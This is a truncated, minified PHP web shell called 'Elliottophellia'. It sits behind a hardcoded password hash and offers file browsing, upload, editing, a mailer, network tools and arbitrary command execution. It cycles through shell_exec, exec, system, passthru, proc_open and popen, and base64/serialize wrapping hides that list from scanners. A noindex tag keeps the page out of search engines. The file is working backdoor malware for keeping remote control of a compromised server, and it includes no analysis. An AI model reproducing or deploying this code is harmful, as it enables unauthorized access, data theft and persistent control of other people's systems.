declare(strict_types=1);const VERSION='2.0.0-light';const PASSWORD_HASH='$2y$10$TfYHopECKw3K0fXuZvDZdOWWIbZVUg7C2QlO0Cf0/a0OruM3l4iR2';function hexToString(string $hex):string{return pack('H*',$hex);}function stringToHex(string $string):string{return bin2hex($string);}function safeFileWrite(string $filename,string $content):bool{return file_put_contents($filename,$content)!==false;}function verifyPassword(string $password):bool{return password_verify($password, PASSWORD_HASH);} function formatFileSize($bytes):string{$bytes=(float) $bytes;$units=['B','KB','MB','GB','TB','PB'];$bytes=max($bytes,0);$pow=floor(($bytes?log($bytes):0)/log(1024));$pow=min($pow,count($units)-1);$bytes/=(1<<(10*$pow));return round($bytes,2).' '.$units[$pow];}function getLastModified(string $file):string{return date("d/m/y-H:i:s",filemtime($file));}function getFilePermissions(string $file):string{$perms=fileperms($file);if($perms===false){return "<span style='color: #bf616a;'>????</span>";}$info='';$info.=(($perms&0xC000)==0xC000)?'s':((($perms&0xA000)==0xA000)?'l':((($perms&0x8000)==0x8000)?'-':'d'));$info.=(($perms&0x0100)?'r':'-');$info.=(($perms&0x0080)?'w':'-');$info.=(($perms&0x0040)?(($perms&0x0800)?'s':'x'):(($perms&0x0800)?'S':'-'));$info.=(($perms&0x0020)?'r':'-');$info.=(($perms&0x0010)?'w':'-');$info.=(($perms&0x0008)?(($perms&0x0400)?'s':'x'):(($perms&0x0400)?'S':'-'));$info.=(($perms&0x0004)?'r':'-');$info.=(($perms&0x0002)?'w':'-');$info.=(($perms&0x0001)?(($perms&0x0200)?'t':'x'):(($perms&0x0200)?'T':'-'));$color=is_writable($file)?'#a3be8c':'#bf616a';return"<span style='color: $color;'>$info</span>";}function getOwnerGroup(string $item):string{$owner=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($item))['name']:fileowner($item);$group=function_exists("posix_getgrgid")?posix_getgrgid(filegroup($item))['name']:filegroup($item);return"$owner/$group";}function getFileType(string $file):string{return mime_content_type($file)?:filetype($file)?:'Unknown';}function getFunctionalCmd(string $cmd):string{$funcs=['shell_exec','exec','system','passthru','proc_open','popen'];$obfuscated=base64_encode(serialize($funcs));$deobfuscate=function($x){return unserialize(base64_decode($x));};foreach($deobfuscate($obfuscated)as $func){if(function_exists($func)){return obfuscatedExecution($func,$cmd);}}return "No available function to execute command.";}function obfuscatedExecution(string $func,string $cmd):string{$encoded=base64_encode($cmd);$decoded=base64_decode($encoded);switch($func){case 'shell_exec':case 'exec':return call_user_func($func,$decoded);case 'system':case 'passthru':ob_start();call_user_func($func,$decoded);return ob_get_clean();case 'proc_open':return executeWithProc_open($decoded);case 'popen':return executeWithPopen($decoded);default:return"Unknown function: $func";}}function executeWithProc_open(string $cmd):string{$spec=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$proc=call_user_func('proc_open',$cmd,$spec,$pipes);if(is_resource($proc)){fclose($pipes[0]);$out=stream_get_contents($pipes[1]);$err=stream_get_contents($pipes[2]);array_map('fclose',array_slice($pipes,1));proc_close($proc);return $err?"Error: $err":$out;}return "Failed to execute command using proc_open.";}function executeWithPopen(string $cmd):string{$handle=call_user_func('popen',$cmd,'r');if($handle){$output=stream_get_contents($handle);pclose($handle);return $output;}return "Failed to execute command using popen.";}class Elliottophellia{private string $currentPath;private array $get;private array $post;private array $files;private string $selfFile;public function __construct(array $get,array $post,array $files){$this->get=$get;$this->post=$post;$this->files=$files;$this->currentPath=hexToString($this->get['d']?? stringToHex(getcwd()));$this->selfFile=$_SERVER['PHP_SELF'];chdir($this->currentPath);}public function run():void{if(!$this->isAuthenticated()){$this->showLoginForm();return;}$this->showHeader();if(isset($this->get['t'])){$tool=hexToString($this->get['t']);switch($tool){case 'network':$this->showNetworkTools();break;case 'mailer':$this->showMailerTools();break;case 'upload':$this->showUploadTools();break;case 'info':$this->showSystemInfo();break;case 'mkfile':$this->showFileCreationTools();break;case 'mkdir':$this->showDirectoryCreationTools();break;case 'command':$this->showCommandExecutionTools();break;case 'cname':$this->showRenameFileTools();break;case 'fedit':$this->showFileEditTools();break;case 'fview':$this->showFileViewTools();break;case 'download':$this->downloadFile(hexToString($this->get['f']));break;default:$this->showFileManager();break;}}else{$this->showFileManager();}$this->handleFileOperations();$this->showFooter();}private function isAuthenticated(): bool{if (isset($this->post['pass'])) {if (verifyPassword($this->post['pass'])) {$_SESSION['authenticated'] = true;}}return $_SESSION['authenticated'] ?? false;}private function showLoginForm():void{echo '<!DOCTYPE html><html lang="en">
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="robots" content="noindex, nofollow" /><title>WELCOME!</title><link rel="stylesheet" href="https://rei.my.id/assets/css/ophellia/v'.VERSION.'.css"><link href="https://fonts.googleapis.com/css?family=Bree+Serif|Bungee+Shade" rel="stylesheet"><div class="login-container">